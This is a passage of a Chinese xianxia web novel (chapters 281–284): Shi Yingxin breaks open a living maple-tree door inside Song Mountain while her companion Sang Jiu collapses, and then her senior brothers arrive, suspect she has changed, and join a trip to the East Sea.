转过这个弯,面前突然出现了一个较为宽阔的空间,不像是自然形成的山洞,因为这里头竟然有两棵巨大的枫树并排而生;它们扎根在山石中,茂盛的树冠紧紧缠绕相连、不分彼此,无数枝条在两者间龙蟠虬结,亲密无间地共同编织了……一扇门? ……这不对吧?山体里头怎么会长这样的两棵枫树? 桑九后知后觉发现自己头昏脑涨,无法思考,只是本能感到的危险让他诧异地僵在原处,呆呆看着石映心的动作。 他见石映心的脸上露出一个微笑,不是意外的神情,而是早有预料的势在必得。她一边往这两颗枫树走去,一边手上随意地耍着剑,感觉心情不错? “石……” 桑九下意识想跟上去,但迈出一步却感到有什么压着他的胸口,竟叫他猛地喘不上气来,连连退了几步,这才能勉强呼吸。 这到底是怎么回事? 他连忙给自己加固了冰屏障,下意识想到某人,又觉得对方已经不需要了。 桑九努力喘气,一步也走不上去,只能眼睁睁地看石映心走向那两棵枫树;满额头的冷汗划过他的眼皮,落在眼睫毛上让他被迫闭上眼睛,再睁开眼时所见的模糊景况让他猛地一惊—— 他好像看到了…… 两个石映心? 不,不可能!桑九用不住发抖的手将糊眼的汗水抹开,但也许是大脑昏胀,每一次眨眼都是不同的情况:眨一眼是一个石映心,再眨一眼是两个,接着又是一个、两个,一个、两个,一个两个一个两个一个两个…… 桑九:*0* 这时候他还觉得是自己出了问题,怎么可能会有两个石映心呢?一定是他……他太累了,或者中邪了,头昏脑涨地看错了……【】 280-290 第281章 但不管如何,不管看到一个还是两个,他总得看看她要做什么吧? 就见这两个……一个……两个石映心径直走向两棵枫树,接着举起剑来猛地往仿若编织成门的枝叶上挥去—— 那扇枫树枝叶门就这么被她劈开一道裂缝,但竟然没劈透,可见其非常厚实;并且那两棵树也不是没事干的,在裂缝出现的一瞬间它们便飞快地蠕动枝条宛若鬼斧神工的绣娘一般眨眼间就将裂缝修好了。 桑九很是惊讶,他原以为这两棵树死了呢,不然怎么一动不动地没攻击石映心呢? 这里没有期待什么的意思。 可就算不主动攻击石映心,它们也没想就这么让她破开这道“门”,在石映心接下来两次的试探下,两颗枫树始终不动声色,只任劳任怨地修门修门修门…… 桑九见剑修歪了歪脑袋,忽然举剑往左边的枫树砍去—— 坎! 这一声震得他整个脑子都要碎成豆腐渣了,桑九两眼冒金星,捂着脑袋感到自己摇摇欲坠,那干脆就半跪在地上稳住身形,总比摔下去好。他头昏眼花地抬头看去——这次又看到了两个石映心。 至于那棵树……树正在流血,源源不断的血水从它树干上那道可怖的剑伤上流出来,流淌到地面上四处散开。 怎么回事…… 没人能解答他的疑惑,某人甚至非常过分,来到此处后就没再回头给过他一个眼神,仿佛他压根不存在呢。 桑九深呼吸,勉强睁开眼 睛,看那两个人……这么说也不行,总之是两个石映心,她们一同挥起剑来,往左右两棵枫树分别砍去—— 坎!! 桑九捂住了耳朵,其实是徒劳,但起码让他明白石映心砍的是树而不是他的脑袋,他的脑袋还完好无损地在他手中……至少表面摸起来是这样。 这次他感到有一股热浪从脚下传来,忍着脑袋的疼痛艰难地掀起眼皮,却见眼前一片红晃晃:是两棵树流出的血已经布满了整个地面,这会刚接触到他的鞋尖,竟然正在腐蚀他的鞋底,不断传来火烧一般的触感。 桑九强撑着给自己的脚施法上冰屏障,再抬眼望去,石映心又变成了一个:她卓然独立在一片血色之中,身上月白的衣裳倒映着血光,桑九觉得这像……一个走火入魔的正道人士。 她再次挥舞手中的剑砍向那扇枫树门,这次砍掉的枝叶并未复原,因为那两棵树已经血流成河、自身难保;它们正在努力地、忍着疼痛去修复那扇门,但已是强弩之末:实在太慢了,甚至伸出来的枝条都在快速枯萎,轻飘飘地落在血地上。 桑九竟然有些感同身受。 这是石映心一贯的处事风格,非常有效,解决完根源,那扇枝叶门几乎是不攻而破了;她不过是随意砍了一剑,两棵树之间原先紧紧相依、亲密无间的无数枝叶就如拔出发簪后散开的长发,尽数落下。 门被打开了。 门后面……有什么? 桑九这会脑子昏涨、眼睛也模糊,实在是看不清,他顽强地眯起眼睛去望,忽然被轰然的一声吓到,是山体猛地震动了一下,紧接着噼里啪啦,上方落下大大小小的碎石来。好险他还有冰屏障,没被砸得头破血流。 一切都太混乱了。 在这颠倒失序之中,石映心毫不在意这山崩地裂的危险,稳步走进了门之中。桑九只能隐约瞅清:门里似乎有一个高高的石台子,台子上放着一个什么东西,似乎圆圆的?石映心就这么走上前,伸出手去—— 轰! 一块大石头打破了灵气屏障,将可怜的修士砸得更加迷茫;血水流过他的耳畔,似乎带来些遥远的、来自石头里的声响: “她们在这!” “桑九!” “映心——” * 花开两朵各表一枝。当桑九跟着石映心在宋山中如无头苍蝇般乱窜的时候,曾换月和邬芽二人正在山上焦急又安静地等待着。 天上的乌云耗尽了几回雨水,又被符修重新注入法术启动降雨。不过这么三四次后,她师姐进去的那个大裂缝里基本就看不到什么火光了;不止如此,就连像经脉一般缠绕着山体的其他小裂缝也熄了火,好像没劲了? “这是……”邬芽试探地问符修,“消停了?” 曾换月挠挠头,专心看着大裂缝,期待她师姐赶紧出来:“我看是,估计她们很快就出来了!” “嗯!”虽然里头发生了什么都是未知数,但邬芽还是松了口气。 这场雨停了之后,曾换月便停了呼风唤雨,等招来的乌云散去时,她恍然抬起脸来,才发现天边已经泛起了细细一层鱼肚白,居然快要天亮了。世间再次迎来一场日出。 晃神之际,有人拍了拍她肩膀,是邬芽,见她面色有些复杂道:“换月,你看看下边,好像有些不对劲?” 曾换月随之往下看去,这会已是清晨,灭了火后硝烟四散,山上的景色已经能看清了:昨日那些风风火火、热情洋溢的满山枫树竟全军覆没,成了干巴巴的、枯萎的……树鬼,不错,就像鬼一般。 它们不是被烧死……当然也有被烧死的,但绝大部分枫树却像是从根处被汲取尽了所有生气,就这么蔫巴死了。不只是枫树,就连山上的一草一木都是这般惨状。 曾换月讶然地张大了嘴巴。 “换月,我说实话,这些树的情况很像我遇到过的那些被鬼抽干了精气而死的人。”邬芽面色凝重道,“我想宋山里头定是发生了什么。” 曾换月经她这么一说,就想到以前看过的许多鬼害人的故事,隐约有些反应过来:“你的意思是……有人抽干了宋山整座山的生机?” 邬芽似乎有些犹豫地点了点头:“只是不清楚……是好还是坏了。” 曾换月就明白了:好是说“师姐她们毁了这座怪山”,坏是说“山里头的邪祟借吸收山的生机来对付师姐她们”。 “哎呀不行不行,”她当即站了起来,“我得进去看看!” “不可以!”邬芽连忙拉住她,“这里头的‘路’出自这些裂缝,一定错综复杂,你进去会迷路的!” “那咋整啊!” 邬芽愁眉苦脸道:“只能等了。我们就照映心说的,在外头接应吧……” “可是……”曾换月自认是个胆小鬼,此时此刻她非常有冲进裂缝中找师姐的心,但又明白邬芽的建议是对的,她俩都没到能闯入山中找人的地步……甚至两个人一起也不行。 也许还会添乱。 她的师姐…… 呜呜呜,曾换月抽了抽鼻涕,心说如果这时候大师兄和二师兄在就好了,她就不至于连进去看看情况都做不到……呜呜呜。 可惜没如…… “换月!” 曾换月:O0 “曾换月!” 曾换月:0O “喂!曾换月——” 在邬芽惊讶的目光中,曾换月总算确定了自己没有幻听;顺着这声音望去,就见两道御剑飞行的身影破开天边那层鱼肚白而来,月白色的门服和黑长的马尾随风飘扬,是两张她无比熟悉的脸。 “大师兄……”曾换月难以言喻此刻的心情,是一种不可思议的感恩,“二师兄……” 邬芽也愣了:“换月,这二位是……” 不等曾换月介绍,明易转眼间已到了二人面前,还因为刹剑过快差点没给后头的顾梦真晃倒:“哎呦!” 明易看着小师妹激动的表情问:“映心呢?” 曾换月深呼一口气压下所有心情和话语,一手指向下方的裂缝道:“师姐从这裂缝进山中了!” 明易于是扫了眼下边山的情况,再问:“这山怎么了?” 曾换 月说话鲜少有这么简练的时候:“没搞清楚,师姐怀疑山里有什么邪祟才进去了!” 明易颔首,拎着身后刚刚站稳的二师弟丢到了曾换月的御物宝器上:“我进去看看。” 顾梦真:“哎呦!大师兄你……” “且慢!”邬芽不得不出口阻止这冒进的“大师兄”,“这位道友,我明白你的心情,我的师弟和映心一同在山中……只是这山中情况复杂,纵横交错,你只身一人闯入实在危险!” 明易看向她道:“多谢提醒,不过我有找到映心的办法。” “是吗?”邬芽一愣,立刻回过神来,“那我也去!” 曾换月跳起来:“还有我!” 顾梦真:“都走吧都走吧!” 明易无所谓她们跟不跟,这会当务之急是找到映心,可就在四人飞到裂缝口的时候,山体猛地震动了一下,逼得几人停住了脚步。 顾梦真一吓:“怎么回事,这山不是要塌了吧?太危——” 他话音未落呢,就见某位剑修劈开一块挡路的碎石就进了裂缝之中。三人虽惊讶,但也来不及思考,紧跟其后,好借他开路的方便。 明易手心上捏着一只丑丑的木雕黑猫,这会它被一张发着金光的符箓包裹着,像是穿上了袈裟一般。这是明易预料到此情此景,特地找他的好师父要来的寻人符,只要将它贴在留有要找的人的气息的物件(木雕黑猫)上,便能指引方向。 其实就算没这寻人符,明易也有信心找到他师妹;这山里头每一处用剑开路的痕迹在他看来都很明显,毕竟他也是化神期的剑修了,更何况留下痕迹的还是他师妹,只是现在用符箓更快一些。 不过……这些痕迹似乎有些奇怪? 明易暂且压下这些小疑惑,这会没工夫在意这些小细节,忙着找人呢。 第282章 接下来发生的事就是桑九的视角,在他完全失去意识前听到了明易等人的声音,心想总算来了支援,迫不得已但还算安心地昏过去了。 “桑九!”邬芽眼疾手快地接住师弟,见他七窍流血,瞧着非常惨,但好在还活着。那么石映心呢? 她抬头望去,目光所及是满眼血色的荒芜,这是哪里来的两棵枯树?在这诡异的景况中,有一个身影踩着血迹走来,正是石映心,她面色冷静,注意力并不在她和她师弟身上。 时隔七十多日,明易总算再和他的好师妹相聚,一时哑口无言,只是直勾勾地看着她,妄想一眼看清这些没见的日子中她所有的变化。 是有变化。他想。 “师姐!”曾换月跳过去她师姐边上,“师姐你没事吧?” “呼……”顾梦真扬起一个高兴的笑容,“映心!” 石映心打量了几人一眼:“我没事,出去吧,这山要塌了。” “呼……啊?”顾梦真还喘着气呢,“又要跑啊……” 邬芽抱起师弟,这会还有心情担忧其他的:“山若要塌了,附近的村子怎么办?” 石映心看向她:“先考虑自己的安危吧。” 邬芽想这倒也是:“……好。” 两个剑修在前方开路,主要还是石映心领头,她似乎对此处非常熟悉……不熟悉也没关系,一剑欻欻把阻碍劈开就行。 大伙在她后边一刻也不敢懈怠地跟着,生怕她速度太快一眨眼就不见了踪影。这会有些还空余脑子的人,比如明易,他就开始思考了:究竟发生了什么,为何那个男人(桑九:?)受了重伤,而映心却像个没事人一般? 当然有很大原因是因为映心比他强,但她似乎完全不受影响?这有些不合理。 而且方才……映心看他的眼神怪怪的。 他不在的这段时间究竟发生了什么? 石映心带领着大伙很快就从裂缝离开了山体,几人重新回到了御物宝器上,纷纷松了口气;可这口气还没松完,就听邬芽大惊道:“不好!落石都滚下山了,村子有危险!” 顾梦真扒拉着大师兄直起身子来,往下望去:“呼……我想想有没有办法能暂时稳住局面,先罩个防御屏障吧……” 他刚罩下去,忽然见遥远的天边有什么逆光飞来,黑乎乎的一团:“咦,那是什么?” 邬芽转头看去,一眼就兴奋地跳了起来:“是我们宗门来人了!” “喔!”曾换月眯眼望去,有些意外的惊喜,“这么快?大晚上的传讯过去,天还没亮就来了?” 就听她师姐在边上轻笑一声道:“幽冥宗都是一群夜鸟,天黑时飞得最快。” 夜鸟是什么?曾换月挠挠头,她只听过夜猫子呢……算了不重要,反正一个意思:“噢噢对哦,她们都是上夜班的。” 那一团黑飞近了,原来是一只黑鸟和三个黑袍人。归壹派几人新奇地打量他们的御物宝……额,御物宝贝,是一只黑鸟,真鸟,活的,会变大变小。它将背上那三个黑袍人送到之后,就缩小成一只普通的鸟飞走了。 来了支援,邬芽有些激动,但也有些疑惑:“师父,还有二位师叔,你们怎么来了?” 随她话音落下,三个黑袍人放下了帽子。领头的正是石映心二人曾见过的咏燕,其余二位则是生人,一位是咏壹,一位是咏贰。 咏壹一站稳就问邬芽,语气有些焦急:“邬芽,这宋山怎么会变成这样?” 邬芽眼神也不敢乱飘,只无辜道:“我不知道……” 咏燕看向边上还在昏迷的桑九,先是关怀小徒弟:“桑九如何了?” “没有大碍。”邬芽微微摇头道,“似乎是受了一些灵力压制才导致了七窍流血、精疲力竭至昏迷,其他倒没什么……” 这时咏壹道:“你们也是胆肥,居然敢在宋山上乱来!” 邬芽疑惑道:“师叔这是何意?宋山怎么了?” “宋山可是……” 咏壹正要说什么,却被边上的咏贰拦下:“好了,人没事就行。我们是来帮你们处理后事的,邬芽,带着你师弟回宗门吧。” 邬芽有些懵地看向师父:“师父,我不走,我留下帮忙。” “你也累了,先和桑九回去吧,替为师好好招待这几位归壹派的小友。”咏燕宽慰道,“宋山的事就交给我和你师叔他们……” 她话音未落,又听边上的咏贰道:“你们几人可有进宋山之中?” “额,”邬芽虽然不知发生了什么,但身为弟子,一听师父师叔这样的语气就有下意识的心虚反应,“因为山一直着火,灭了又燃,我们便想要从根源灭火,这才……” 却见她师父三人面面相觑,有些她看不懂的交流。末了还是咏燕问:“所以……你们把山中的火灭了?” 邬芽:“啊,嗯,算是吧?” 一直没说话的石映心道:“没灭。” “嗯?”邬芽诧异的看向她,“没灭……吗?” “没灭,”石映心颔首道,“我只是用了些办法将火暂时隔绝了,让它恢复到……以往的状态,不过并不稳固。” 邬芽心想“以往的状态”是什么意思,现在的宋山生机已尽,哪里是以往的模样?可奇怪的是,听石映心这么一说,她师父三人反倒松了口气,面色也变成了不出意外的镇定。 “好,为师明白了。”咏燕拍拍邬芽的肩膀,语气温和道,“此事你们已经尽力了,也做得不错,快回去休息吧。” 邬芽张了张嘴,还想说什么,却听石映心道:“邬芽,我也有些累了。” 那她还能说啥,点头答应呗。 邬芽本还想去同东叔和恬姨道别,但这会天刚亮,估计她们一家三口还没醒呢,再加上桑九这副模样……算了,这里有师父她们在她是很放心的,还是先回宗门吧,有机会再来。 天色渐明。 回宗门的半路上,桑九醒了。 瞧见眼前御物飞行的熟悉身影,身下熟悉的御物宝器,还有已经亮起的天色,他依旧昏胀的脑袋感到恍若隔世。 “师姐……” 邬芽回头望了一眼,原先有些沉闷的神情总算被欣喜的笑容划破:“桑九,你醒啦?感觉如何?” 桑九撑着身子半坐起来,一手扶着头:“头疼……” “头疼是正常的,醒了就好,等回到门派,去师祖那拿取些补药给你补补。” 桑九无力地吁了口气,应了一声:“好。” 邬芽也想让他好好休息一会,但实在忍不住好奇地问:“桑九,你们进山中后到底发生了什么?你也是元婴后期的修为了,究竟是什么东西能给你造成这么严重地灵力压制?我见到你时都七窍流血了。” 桑九后知后觉地嘟囔道:“原来是灵力压制吗……确实像,可当时我脑子实在混乱,什么也分不清了……” 他一边喃喃自语着,一边随着自己的话缓慢地回忆起之前发生的一切,忽然戛然而止:“石映心!石映心怎么样了?” “你放心,”邬芽还以为他担心映心道友,“映心修为比你高,你们遇到的灵力压制对她似乎没有造成什么影响,她不过有些累罢了。” 没有造成什么影响? 压根不是这个问题吧! “师姐,石映心不对劲!”桑九急于告诉师姐他所看到的一切,一时有些呼吸不畅,“她很不对劲……” “啊?”邬芽闻言很诧异,不得不分去注意力,“哪里不对劲?” “她……”她师弟却是一噎,不知从何说起了,但又太想说,一言一语就显得支吾和没逻辑,“她变成了两个人……额,不过也许是我头昏脑涨看错了,但她一会是一个人,一会又是两个人,一个两个……都很真实……” 邬芽:OO “桑九,”她叹了口气,语气中充满了同情和怜惜,“不如你再睡会吧?” 桑九:…… 也许他真的该让发疼的脑子再休息会。 * 看完那边,再看这一边的师兄师妹们。 薄云之间,两把剑并排飞行。 曾换月正在兴致勃勃地问两个师兄是何时醒来的。 “就昨天,”顾梦真忍不住吐槽道,“大师兄比我早醒两日……我一醒来就跟着他来找你们了,基本上没休息过,可把我累坏了!等会到了幽冥宗我要好好休息……” 曾换月闻言,细细打量他的脸,煞有其事地点了点头,同情道:“嘶,我看你确实挺累的,瞧着精神状态就很不对,像一下子老了好几岁。” 她提到这事,那顾梦真可有的委屈了,差点又要哭出来:“何止是老了几岁,是老了三百七十岁!” 三百七十岁? 曾换月觉得他有病吧,真搞笑哈哈:“哈哈哈哈!你在说什么呀,怎么还有零有整的?” 顾梦真哼哼两声,撇嘴道:“你不知道我遭遇了什么,就算知道了,也无法懂得我的感受!” “说得自己多可怜哦,”还不知道怎么回事呢,讨人厌的小师妹已经开始幸灾乐祸了,“快说来听听,让我乐呵乐呵~” “哼!不说!”本来还想大吐苦水的顾梦真于是开始置气,偏不想如讨厌鬼师妹的意。 “说嘛说嘛~~” “不说!” “说嘛说嘛~~” “不……嗯?”顾梦真忽然想到什么,看向站在前边御剑的三师妹道,“映心怎么不说话?” 石映心回头瞥了他一眼,正要张口说什么,却听曾换月道:“师姐也很累的好不好,现在还要带我飞,本就是疲劳御剑,怎么能分心呢?” 第283章 顾梦真“许久”未见师妹,本就很是想念,这会当然有怜惜之心,连忙道:“说的也是,映心你不必理我。” 石映心耸了耸肩:“行。” 顾梦真看着三师妹的背影,出神地想起在梦境中经历的一切,那个木头人映心……现在回想起来也很奇怪,它最后的所作所为是什么意思?总感觉……像真人一般;不仅是小木人映心,小木人师父她们也是一样。 难道说他的炼器术已经到了这般炉火纯青、出神入化的地步了?甚至让小木人也长出了自己的思绪和情感?那么这些“真心”是属于小木人的还是小木人复刻的人的呢? 有些诡异……但想来也不是不可能啊,他现在可是化神期的器修呢! 想到这他挺起胸膛,瞧着下巴和曾换月炫耀自己破境入化神一事。 “切,”曾换月撇了下嘴,“搞什么,现在师姐大师兄甚至还有你都入化神了,我居然还是修为最低的那个!” 顾梦真就满意她这羡慕嫉妒恨的反应,得意道:“嘻嘻,被我压一头不高兴吧?哈哈哈哈哈!你师兄始终是你师兄!” “了不起什么啊?”曾换月不服气道,“别忘了师姐可是最先破境的——比大师兄还早呢!” 顾梦真毫不在意:“映心不一样。” “哪里不一样?”这是石映心问的。 “映心你可是世间少有的天才!”顾梦真理所当然道,“虽然大师兄也是天才,但你不是还有特别的本领?大师兄你说是吧?” 明易回头看了师妹师弟一眼,微微颔首:“嗯。” 她们都知道“特别的本领”指的什么。 曾换月哼了一声道:“我明白了,你就是只跟比得过的人比呗!恃强凌弱的小人!” “喂,曾换月,你别乱说啊!” “我说的就是事实。” “呸……” …… 在熟悉的吵闹声中,几人安全抵达幽冥宗。 邬芽将几位道友安顿好,就带着面色不佳、非常消沉的师弟离开了。曾换月本来还想和师姐住一起,但石映心却说她晚上要修炼,怕打扰到她休息,于是二人难得外出分房睡。 曾换月其实想说自己不介意被打扰休息的,但转念一想,她晚上睡觉不安分,打呼噜说梦话什么的都有可能,指不定会打扰师姐修炼呢,于是乖乖地接受了安排:“好的师姐,你不要太累哦!” “不会。” 顾梦真感叹道:“映心你太刻苦了!千万不要和大师兄学习啊。” 明易瞅他一眼。 石映心笑了一下道:“也许是受到宋山灵场的影响,我体内的灵气有些波动,我今晚修整一会便好。” 明易便主动道:“我帮你看看?” “不必,”石映心微笑拒绝,“没什么大碍,你们也快去休息吧。” 明易当然不会再要求她,只默默地点了下头。 曾换月来到她休息的屋子门口,正要进去,似有所感地转头一看,瞧见她大师兄,一副有话要说的模样,便奇怪道:“怎么了大师兄?” 明易问:“你现在可有时间?” “啊?有啊。” 明易朝门内抬了抬下巴:“进去说吧。” 曾换月忽然警惕起来:“大师兄你你你该不是要训话吧?咦我又犯什么事了?等等啊你让我想想事由再想想借口……” 明易:…… “不是训话,”他叹了口气,“我有事要问你。” “哦……好吧。” 进了屋中又关上了门,曾换月有些坐立难安起来,这情况对她来说无异于上学时候莫名其妙被叫到老师办公室;她的大脑高速运转起来,心说自己又干什么了?这么久没见大师兄,难道是两个月以前的事? 她正胡思乱想呢,就听她大师兄问:“同我说说你醒来之后都发生了什么。” “……啊?”小师妹一愣,“我醒来之后?” 明易颔首:“嗯,仔细讲来,尤其是你们去宋山之后发生的一切。” 他问得这么宽泛,曾换月就没什么思绪:“这倒是没问题啦,但大师兄你总得和我说你想听什么吧?我好重点说说……” “映心。”明易道,“重点说映心。” 曾换月一愣:“师姐?那大师兄你干嘛不直接找师姐问呢?” 明易默了默道:“她不是要休息吗?” 曾换月二愣:“你等她休息好了再问呗。” “……”明易本就不会找借口,斟酌了一会道,“不错,我本打算之后就去问她,先来听听你说的。” “哦……”曾换月于是并不怀疑,她大师兄确实是这样细致周到的性子,“行,不过说来话长啊。” 明易不留痕迹地松了口气:“嗯。” 说来话长一词用在曾换月身上还不确切,应该是说来话长长长长,她这人本就话多,还很有自己的感触,说到什么东西都要吐槽一下: 什么幽冥洲的本地菜好不好吃啊,什么口味啊,可惜没吃到特产海鲜,心里有多可惜;遇到小鱼的时候多么惊险啊,那些做祈雨仪式的人多么可恶啊;还有烤龙王降雨结果是幽冥宗的障眼法有多好笑…… 又说她们遇到树灵,自己解开了树上的阵法有多厉害;结果进了里头走错了路差点跑幽都去,她师姐摘了花然后被罚款,因此事感叹“路边的野花不能采”巴拉巴拉…… 这么絮絮叨叨的,一件事能说好几个方面,偏偏确实有说到她师姐的反应,所以明易一句话都不敢错过,时不时还要给说口渴的师妹添茶倒水…… 曾换月:叽里呱啦。 明易:喝茶。 大部分时候他都保持沉默,偶尔会主动问一问映心如何如何。 就这么过去了大半个晚上,总算讲完了。明易感到精疲力竭,心里觉得比练一个晚上的剑还要累……他小师妹反倒越来越兴奋,真是个人物。 谢过师妹之后,他正想离开,却被曾换月叫住:“大师兄,我同你说了这么多,你也该和我说真话了吧?” 明易一愣:“什么?” “你不要骗我了。”曾换月喝了口茶水缓解疲累的嗓子,“我也算明白了,你压根不是为了听我和师姐这段时间发生了什么,而是想知道师姐发生了什么!不然为何一直问师姐有关的问题?” 明易闭上嘴,不知道该说什么谎话。 “大师兄!”曾换月站起来,严肃道,“师姐怎么了?你不要瞒着我,我也担心师姐。” 明易看向她,似乎有些犹豫,沉默片刻道:“我不知如何同你说,一切只是我的感觉罢了。” “你说呀!” 明易:“你不觉得……映心有些奇怪吗?” “哪里奇怪?” 明易微微摇头:“说不上来,好像哪里变了,但又没变。” “……”曾换月满头问号,“啊?” 她大师兄叹了口气:“我想也许和她的心镜有关,可若真是这方面的问题,偏偏是最没办法的,所以我才来问你这几日她的行踪。” 说到这他也不装了,直白道:“换月,你好好想想,这几日映心可否有一丝一毫不对劲的地方?” 曾换月已经听懵了,她对大师兄很信任,因此下意识就相信了他的话;可她对师姐也很信任,所以平时压根就不会想七想八,更何况是怀疑对方? “我……”她支吾了一下,心里七上八下的,“我这两日留心观察一下吧……” 明易微微颔首,又宽慰她道:“你不必惊慌,我想映心也不想我们担心,因此才隐瞒了我们什么事。” 曾换月失神地点了点头。 明易离开小师妹的屋子,转头去了二师弟的房间,把他喊起来问话:“梦真,说说你梦里的事。” “哈……什么梦啊,我昨晚没做梦啊。”顾梦真还没睡醒呢,“大师兄,现在什么时候了?” “快卯初了。” 顾梦真哭丧着脸笑出来:“你没事吧大师兄?起码让我睡到天亮行不行?” 明易看他模样也挺可怜,于是道:“好,我过一个时辰来找你。” “嗯嗯!”他二师弟应了一声,倒头又睡了过去。 * 邬芽一早醒来就去了咏燕的住所,却发现里头空荡荡的,她师父还没回来。 也许是她太着急了,邬芽想,这才过去没几个时辰呢……于是她打算去看看映心她们醒了没,现在正事办完了,也该好好招待感谢她们的帮助。谁知飘到半道,却收到了她师祖的传讯,要她过去一趟,只好半途转道。 到了师祖的大殿,一进门就见她在座前来回地走,邬芽便想难道是什么要紧事吗? “师祖,你找我来有何事?” 寻鹰是位看容貌只有三四十的大能修士,头发却已半白,她面容和蔼可亲,但此时却有明显的焦急;见到来人,她连忙走向徒孙:“邬芽,你师父她回来了吗?” 邬芽一愣:“我刚去师父的大殿瞧过了,还没呢。” “糟了……”寻鹰喃喃道,“这么久未回来,定是宋山出事了。” “这么久?”邬芽不得不提醒道,“也不是很久啊师祖,也没几个时辰呢,我也才刚回来。” 寻鹰摇头道:“若是真的无事,也就飘去飘回的功夫,不过一个时辰,何况你两个师叔也在;现在好几个时辰过去了还没回来,定是发生了什么……” 听师祖这么一说,邬芽因此也焦急起来:“师祖,不如我再去宋山一探?” “不……”寻鹰微微摇头,炯炯目光看向她,“为师有一事要交给你去办。” 邬芽微怔,心中担忧师父,但又明白该听从安排,有些迟疑地颔首道:“……师祖您说。” 第284章 咚咚咚。 因为身子不适,难得睡了懒觉的桑九被轻微的敲门声叫醒,打开门发现是他师姐,对方正要转身离开,他出声叫住:“师姐?” “你醒了?是我吵醒你了吗?”邬芽有些不好意思道,“我本想看看你醒了没有,若是没有也不想吵醒你的。” 桑九微微摇头:“没事,我已经睡了许久了,也是时候醒了。” “噢……你身子好些了吗?头还疼不?” 桑九感受了一下:“好多了。” “那就好。”邬芽松了口气。 “师姐,你来找我有何事?” 邬芽道:“我是想来和你说,我要去东海了。” “去东海?”桑 九一愣,“难道又是师祖的吩咐,可我们不是才回来?这么赶趟吗?” “唉,是啊,不过是好消息啦。”邬芽笑了笑道,“师祖让我去东海里找什么珍珠,说是可以解决我们幽冥洲旱灾的问题。” 能解决旱灾自然是好消息,这段时日他们整个幽冥宗都为此事忙得脚不沾地,难怪赶趟,不过桑九有些疑问:“什么珍珠?” 邬芽挠挠头:“师祖也不清楚,只说让我去一个叫度朔山的地方调查。” “度朔山?”她师弟问,“那是什么地方?” “不知道哇,”邬芽若有所思但思不起来,“我总感觉在哪听过……而且不知为何,隐约觉得不是什么好地方……” 修士的直觉是不能忽视的,桑九因此担心他师姐:“东海是属水之地,与师姐你相克,师祖怎么会让你去呢……不行,我和你一起去。” “不,桑九,”邬芽摇摇头道,“你留在这等师父她们回来。” 桑九又是一愣:“师父还没回来?” “嗯。” 想到师父,自然又想到宋山,想到宋山,当然还想起石映心,这时脑子就有些混乱了,在一片理不清的思绪中,桑九又听师姐道:“你放心,找你之前我先去找过映心她们了,她们师兄妹四人都说要陪我去呢,这下人多,肯定没事!” “什么?”桑九惊道,“石映心也去?” 邬芽奇怪道:“是啊,怎么了。” “不行,她实在古怪……” “桑九,你不要多想,”邬芽无奈解释道,“这也是她们归壹派的任务……你还记得她们说的因果牌吗,上头的字迹还未消,说明她们的任务还没完成,这才要陪我去,并非有什么其他企图。” 桑九本已经下定了决心,不管如何都要陪师姐去,但听邬芽这么一说,忽然想起什么:“师姐,那……她们有要求我一同前往吗?” “你?”邬芽歪了下脑袋,“她们没提到你诶。” 桑九的面色沉默下来:“看来她们知道我会去的,都不必问你。” “怎么说?” “你忘了?”桑九看向师姐,眼中的情绪很是复杂,“那因果牌上可写了我的名字。” * “火水之争……” “幽冥宗,桑九。” 明易拿着因果牌打量了一会,问两个师妹:“此次的线索就这四字?” “是啊,”曾换月把手一摊,无奈道,“就这四字,真是越简单越一头雾水,所以一字没消我也不意外啦……”说到后边已经是自我安慰的语气了。 “火水之争,火应指的是我们昨晚去过的宋山,”明易已经开始分析了,“至于水,定是接下来要去的东海了。” 顾梦真连连点头:“我看是这样!” “不过……”明易想到一事,“照这么看,不管是去宋山还是去东海的任务,都是寻鹰仙尊交代给邬芽的,为何因果牌上写的却是桑九的名字?” 他一提,三人也恍然:“咦,这么说也是哦。” 明易:…… “所以之后的东海之行桑九会去吗?” 顾梦真:“会吗?” 曾换月:“会吧?” 石映心:“叫上他不就行了?” 方才她们决定要去东海的时候,竟无一人问邬芽这个重点,明易感到有些头疼:“早知道就不该先答应邬芽,若是桑九有其他任务,我们只能跟着他走。” 曾换月乐观道:“哎呀没事啦大师兄,大不了一个个来嘛,帮完她的帮他的,忙完这个忙那个……嘿嘿,是吧师姐?” 石映心勾唇一笑:“不错,来日方长。” 曾换月瞅了瞅师姐,笑眯眯地点了下头。 好在邬芽师姐弟二人并未让她们为难,很快二人就一同前来了。邬芽说了她师弟要一起去东海的事,得到一些在她看来有些奇怪的反应。 明道友似乎松了口气。 换月有些高兴:“我就说嘛!” 顾道友热情道:“不麻烦不麻烦,我们欢迎得很!” 映心没什么反应。 邬芽虽然有些疑惑,但感觉多问的话就有些不识好歹了,人家这么欢迎桑九,她怎么能去质疑她们的好意? 总而言之,在六人小队集合完毕后,她们就准备出发,从幽冥洲去东海,可直接通过仙门驿站传送到达。 路上,刚来的明易和顾梦真通过几人的七嘴八舌了解了幽冥洲旱灾一事,以及她们在汶上村的所见所闻,听罢都有些若有所思。顾梦真摸摸下巴道:“总感觉近日哪里都不太平呢……” 邬芽因他这话也开始疑惑:“说起来好像确实如此,近日除了我们幽冥洲还有很多地方都不太平呢……” “是啊,”顾梦真有些心虚地嘟囔了一声,“比如药神谷啊……哈哈。” “此事我也听说过,”桑九接话道,“好像是谷神森林出现了异象,突然冒出许多异变的妖怪。” 这个消息邬芽倒是第一次听说:“谷神森林出事的话,那不是很危险?” 桑九:“嗯……” “现在已经没事啦!”曾换月连忙道,“已经稳定下来了!” 桑九古怪地瞅她一眼,又说:“还有灵兽宗那边,听说许多灵兽都性情大变,弄得她们弟子很伤脑筋。” 曾换月瞪了瞪眼:“灵兽宗?那不关我们的事了……” 邬芽:“什么?” “没什么没什么,”顾梦真摆摆手帮着掩饰道,“哎呀,人生在世总会有不如意的时候,大概是流年不利吧哈哈哈……” “说起来……”邬芽又想到什么,“民间也有动荡呢,你们听说了吗,新任女帝的事?” “我知道,”桑九点点头,“皇室莫名开始不断死人,皇帝死了死太子,太子死了死皇子,最后只剩下现在这位继任的女帝了。她登基后引起了朝廷和民间许多不满,但这位很有手段,几次腥风血雨将反对的人的血都抽干了。” 说起八卦,邬芽也很有兴致:“是挺厉害,短短几月就转变了局势;我还听说这位女帝有些不凡的本领,爱戴她的人说她是仙女下凡转世,恨她的叫她老妖婆,哈哈哈哈……” 归壹派四人:←← 看来童柔意和女魃相处得不错嘛。 桑九:“还有梵音洲……” 顾梦真瞪眼:“梵音洲又什么了?” 